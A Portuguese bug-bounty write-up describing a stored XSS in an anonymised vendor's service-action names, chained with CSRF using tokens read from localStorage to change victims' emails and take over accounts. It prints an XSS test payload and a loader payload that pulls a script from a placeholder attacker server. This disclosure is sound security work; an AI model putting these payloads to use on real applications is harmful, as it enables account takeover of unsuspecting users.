Fala galera, neste post irei falar sobre uma vulnerabilidade que encontrei em um programa na plataforma Bugcrowd. A falha já foi corrigida mais infelizmente o vendor não me autorizou a fazer o disclosure, então iremos chamar o site de domain.com :)

No vendor, havia uma aplicação que permite você possa criar uma instância e adicionar vários tipos de funcionalidades, como alertas, serviços, usuários, times etc.
Ao criar um serviço, é necessário que você aloque um time para que eles fiquem encarregados de cuidar deste serviço. Dentro de um serviço, era possível adicionar ações customizadas para que cada usuário fosse capaz de executar ao realizar determinada tarefa.

Nessas ações, verifiquei que ao executá-la um pop-up era aberto com o nome da ação executada, ou seja, o nome da ação era refletido nesse pop-up.
Decidi então adicionar uma tag HTML e um evento JS simples, inseri <img src="x" onerror="alert(1)"/>, e ao clicar na ação maliciosa, o nome foi refletido novamente, sem nenhum tipo de filtro:


e o alerta apareceu :) (IEEEERRRRRRRRR)


Bom, neste ponto, eu já tinha um XSS Stored. Dei uma olhada de como funcionava a aplicação, e notei que havia como um usuário fazer a troca do email, então tive uma sacada... eu poderia utilizar de um CSRF junto com o XSS para realizar o Account Takeover.

Basicamente, o CSRF consistia em uma request POST simples com o ID do usuário e o CSRF Token para o endpoint /user/changeUsername para realizar a troca do email.
Decidi criar um arquivo javascript com o exploit (ele está disponível no meu github, vou deixar o link no final do report :) ) para que não ficasse muito código dentro do campo da ação.

Utilizei o seguinte código para carregar o exploit quando o usuário executar a ação maliciosa dentro do serviço:
<img src="x" onerror="var script = document.createElement('script'); script.src = 'IP_SERVIDOR/poc.js'; document.getElementsByTagName('head')[0].appendChild(script);"/>



As ações disponíveis para os usuários ficariam dessa forma:


Com isso, ao executar a ação maliciosa no serviço, o pop-up seria mostrado e o código executado.

Mas.... Para realizar a requisição, era necessário que fosse enviado junto da request, o token CSRF e o ID do usuário. Depois de fuçar um pouco a aplicação, notei que eles estavam sendo armazenados no localStorage (this is very good :) ), então tive apenas que capturar eles via JS e enviá-los juntos da requisição POST.

Depois de realizar todo o processo, era necessário apenas adicionar as vítimas ao time, e atribuir um serviço com uma ação maliciosa a esse time, vale lembrar que não era necessário que as vítimas tivessem contas já criadas, pois o sistema verificava e caso não houvesse, era criado uma nova conta.

Como PoC, irei colocar alguns prints tirados do vídeo, então vamos lá :)

Primeiramente, o email da vítima permanece normalmente:


Quando a vítima entrasse no seriço malicioso e fosse realizar alguma ação, esta seria a visão dele:


Ao clicar na última ação, o pop-up era mostrado:


E em background a ação da troca de email era realizada:


Como resultado, o email da vítima foi trocado:


Um link de confirmação foi enviado para o email do atacante, e ao confirmar o novo email, a conta da vítima teria o seu email trocado:


Infelizmente, não posso divulgar o vídeo da PoC, pois como foi dito no início, o vendor não autorizou que fosse divulgado a vulnerabilidade e tentei ao máximo deixar o mesmo mais anônimo possível :).

Como prometido, o exploit pode ser encontrado neste link: Exploit